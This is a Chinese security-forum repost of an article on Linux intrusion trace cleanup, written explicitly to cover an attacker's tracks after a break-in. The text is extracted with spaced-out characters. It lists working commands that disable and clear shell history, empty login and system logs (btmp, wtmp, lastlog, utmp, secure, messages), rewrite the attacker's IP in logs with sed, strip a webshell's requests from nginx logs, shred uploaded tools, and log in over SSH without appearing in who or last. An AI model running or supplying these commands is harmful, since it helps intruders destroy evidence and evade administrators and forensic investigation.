设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 系统 › [1018] 2020-09-11_Linux入侵痕迹清理技巧
返回列表 发新帖
查看: 8|回复: 0

[1018] 2020-09-11_Linux入侵痕迹清理技巧

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2020-09-11_Linux入侵痕迹清理技巧 L i n u x   入 侵 痕 迹 清 理 技 巧 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 9 - 1 1 在 攻 击 结 束 后 ， 如 何 不 留 痕 迹 的 清 除 日 志 和 操 作 记 录 ， 以 掩 盖 入 侵 踪 迹 ， 这 其 实 是 一 个 细 致 的 技 术 活 。 你 所 做 的 每 一 个 操 作 ， 都 要 被 抹 掉 ； 你 所 上 传 的 工 具 ， 都 应 该 被 安 全 地 删 掉 。 0 1 、 清 除 、 清 除 h i s t o r y 历 史 命 令 记 录 历 史 命 令 记 录 第 一 种 方 式 ： 第 一 种 方 式 ： （ 1 ） 编 辑 h i s t o r y 记 录 文 件 ， 删 除 部 分 不 想 被 保 存 的 历 史 命 令 。 （ 2 ） 清 除 当 前 用 户 的 h i s t o r y 命 令 记 录 第 二 种 方 式 ： 第 二 种 方 式 ： （ 1 ） 利 用 v i m 特 性 删 除 历 史 命 令 （ 2 ） 在 v i m 中 执 行 自 己 不 想 让 别 人 看 到 的 命 令 第 三 种 方 式 ： 第 三 种 方 式 ： 通 过 修 改 配 置 文 件 / e t c / p r o f i l e ， 使 系 统 不 再 保 存 命 令 记 录 。 第 四 种 方 式 ： 第 四 种 方 式 ： 登 录 后 执 行 下 面 命 令 , 不 记 录 历 史 命 令 ( . b a s h _ h i s t o r y ) 0 2 、 清 除 系 统 日 志 痕 迹 、 清 除 系 统 日 志 痕 迹 L i n u x   系 统 存 在 多 种 日 志 文 件 ， 来 记 录 系 统 运 行 过 程 中 产 生 的 日 志 。 v i m   ~ / . b a s h _ h i s t o r y h i s t o r y   - c # 使 用 v i m 打 开 一 个 文 件 v i   t e s t . t x t #   设 置 v i m 不 记 录 命 令 ， V i m 会 将 命 令 历 史 记 录 ， 保 存 在 v i m i n f o 文 件 中 。 : s e t   h i s t o r y = 0 #   用 v i m 的 分 屏 功 能 打 开 命 令 记 录 文 件 . b a s h _ h i s t o r y ， 编 辑 文 件 删 除 历 史 操 作 命 令 v s p   ~ / . b a s h _ h i s t o r y #   清 除 保 存 . b a s h _ h i s t o r y 文 件 即 可 。 : s e t   h i s t o r y = 0 : ! c o m m a n d H I S T S I Z E = 0 u n s e t   H I S T O R Y   H I S T F I L E   H I S T S A V E   H I S T Z O N E   H I S T O R Y   H I S T L O G ;   e x p o r t   H I S T F I L E = / d e v / n u l l ;   e x p o r t   H I S T S I Z E = 0 ;   e x p o r t   H I S T F I L E S I Z E = 0
第 一 种 方 式 ： 清 空 日 志 文 件 第 一 种 方 式 ： 清 空 日 志 文 件 清 除 登 录 系 统 失 败 的 记 录 ： 清 除 登 录 系 统 成 功 的 记 录 ： 清 除 相 关 日 志 信 息 ： 第 二 种 方 式 ： 删 除 第 二 种 方 式 ： 删 除 / 替 换 部 分 日 志 替 换 部 分 日 志 日 志 文 件 全 部 被 清 空 ， 太 容 易 被 管 理 员 察 觉 了 ， 如 果 只 是 删 除 或 替 换 部 分 关 键 日 志 信 息 ， 那 么 就 可 以 完 美 隐 藏 攻 击 痕 迹 。 0 3 、 清 除 、 清 除 w e b 入 侵 痕 迹 入 侵 痕 迹 第 一 种 方 式 ： 第 一 种 方 式 ： 直 接 替 换 日 志 i p 地 址 第 二 种 方 式 ： 第 二 种 方 式 ： 清 除 部 分 相 关 日 志 0 4 、 文 件 安 全 删 除 工 具 、 文 件 安 全 删 除 工 具 （ （ 1 ） ） s h r e d 命 令 命 令 实 现 安 全 的 从 硬 盘 上 擦 除 数 据 ， 默 认 覆 盖 3 次 ， 通 过   - n 指 定 数 据 覆 盖 次 数 。 / v a r / l o g / b t m p       记 录 所 有 登 录 失 败 信 息 ， 使 用 l a s t b 命 令 查 看 / v a r / l o g / l a s t l o g   记 录 系 统 中 所 有 用 户 最 后 一 次 登 录 时 间 的 日 志 ， 使 用 l a s t l o g 命 令 查 看 / v a r / l o g / w t m p         记 录 所 有 用 户 的 登 录 、 注 销 信 息 ， 使 用 l a s t 命 令 查 看 / v a r / l o g / u t m p         记 录 当 前 已 经 登 录 的 用 户 信 息 ， 使 用 w , w h o , u s e r s 等 命 令 查 看 / v a r / l o g / s e c u r e       记 录 与 安 全 相 关 的 日 志 信 息 / v a r / l o g / m e s s a g e     记 录 系 统 启 动 后 的 信 息 和 错 误 日 志 [ r o o t @ c e n t o s ] #   e c h o   >   / v a r / l o g / b t m p   [ r o o t @ c e n t o s ] #   l a s t b                           / / 查 询 不 到 登 录 失 败 信 息 [ r o o t @ c e n t o s ] #   e c h o   >   / v a r / l o g / w t m p     [ r o o t @ c e n t o s ] #   l a s t                             / / 查 询 不 到 登 录 成 功 的 信 息 清 除 用 户 最 后 一 次 登 录 时 间 ： e c h o   >   / v a r / l o g / l a s t l o g                     # l a s t l o g 命 令 清 除 当 前 登 录 用 户 的 信 息 ： e c h o   >       / v a r / l o g / u t m p                           # 使 用 w , w h o , u s e r s 等 命 令 清 除 安 全 日 志 记 录 ： c a t   / d e v / n u l l   >     / v a r / l o g / s e c u r e 清 除 系 统 日 志 记 录 ： c a t   / d e v / n u l l   >     / v a r / l o g / m e s s a g e #   删 除 所 有 匹 配 到 字 符 串 的 行 , 比 如 以 当 天 日 期 或 者 自 己 的 登 录 i p s e d     - i   ' / 自 己 的 i p / ' d     / v a r / l o g / m e s s a g e s #   全 局 替 换 登 录 I P 地 址 ： s e d   - i   ' s / 1 9 2 . 1 6 8 . 1 6 6 . 8 5 / 1 9 2 . 1 6 8 . 1 . 1 / g '   s e c u r e s e d   - i   ' s / 1 9 2 . 1 6 8 . 1 6 6 . 8 5 / 1 9 2 . 1 6 8 . 1 . 1 / g '   a c c e s s . l o g #   使 用 g r e p   - v 来 把 我 们 的 相 关 信 息 删 除 , c a t   / v a r / l o g / n g i n x / a c c e s s . l o g   |   g r e p   - v   e v i l . p h p   >   t m p . l o g #   把 修 改 过 的 日 志 覆 盖 到 原 日 志 文 件 c a t   t m p . l o g   >   / v a r / l o g / n g i n x / a c c e s s . l o g / [ r o o t @ c e n t o s ] #   s h r e d   - f   - u   - z   - v   - n   8   1 . t x t  
（ （ 2 ） ） d d 命 令 命 令 可 用 于 安 全 地 清 除 硬 盘 或 者 分 区 的 内 容 。 （ （ 3 ） ） w i p e W i p e   使 用 特 殊 的 模 式 来 重 复 地 写 文 件 ， 从 磁 性 介 质 中 安 全 擦 除 文 件 。 （ （ 4 ） ） S e c u r e - D e l e t e S e c u r e - D e l e t e   是 一 组 工 具 集 合 ， 提 供 s r m 、 s m e m 、 s f i l l 、 s s w a p ， 4 个 安 全 删 除 文 件 的 命 令 行 工 具 。 0 5 、 隐 藏 远 程 、 隐 藏 远 程 S S H 登 陆 记 录 登 陆 记 录 隐 身 登 录 系 统 ， 不 会 被 w 、 w h o 、 l a s t 等 指 令 检 测 到 。 不 记 录 s s h 公 钥 在 本 地 . s s h 目 录 中 [ r o o t @ c e n t o s ] #   s h r e d   - f   - u   - z   - v   - n   8   1 . t x t   s h r e d :   1 . t x t :   p a s s   1 / 9   ( r a n d o m ) . . . s h r e d :   1 . t x t :   p a s s   2 / 9   ( f f f f f f ) . . . s h r e d :   1 . t x t :   p a s s   3 / 9   ( a a a a a a ) . . . s h r e d :   1 . t x t :   p a s s   4 / 9   ( r a n d o m ) . . . s h r e d :   1 . t x t :   p a s s   5 / 9   ( 0 0 0 0 0 0 ) . . . s h r e d :   1 . t x t :   p a s s   6 / 9   ( r a n d o m ) . . . s h r e d :   1 . t x t :   p a s s   7 / 9   ( 5 5 5 5 5 5 ) . . . s h r e d :   1 . t x t :   p a s s   8 / 9   ( r a n d o m ) . . . s h r e d :   1 . t x t :   p a s s   9 / 9   ( 0 0 0 0 0 0 ) . . . s h r e d :   1 . t x t :   r e m o v i n g s h r e d :   1 . t x t :   r e n a m e d   t o   0 0 0 0 0 s h r e d :   0 0 0 0 0 :   r e n a m e d   t o   0 0 0 0 s h r e d :   0 0 0 0 :   r e n a m e d   t o   0 0 0 s h r e d :   0 0 0 :   r e n a m e d   t o   0 0 s h r e d :   0 0 :   r e n a m e d   t o   0 s h r e d :   1 . t x t :   r e m o v e d d d   i f = / d e v / z e r o   o f = 要 删 除 的 文 件   b s = 大 小   c o u n t = 写 入 的 次 数 w i p e   f i l e n a m e s r m   f i l e n a m e s f i l l   f i l e n a m e s s w a p   / d e v / s d a 1 s m e m s s h   - T   r o o t @ 1 9 2 . 1 6 8 . 0 . 1   / b i n / b a s h   - i s s h   - o   U s e r K n o w n H o s t s F i l e = / d e v / n u l l   - T   u s e r @ h o s t   / b i n / b a s h   – i
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:42 , Processed in 0.150235 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表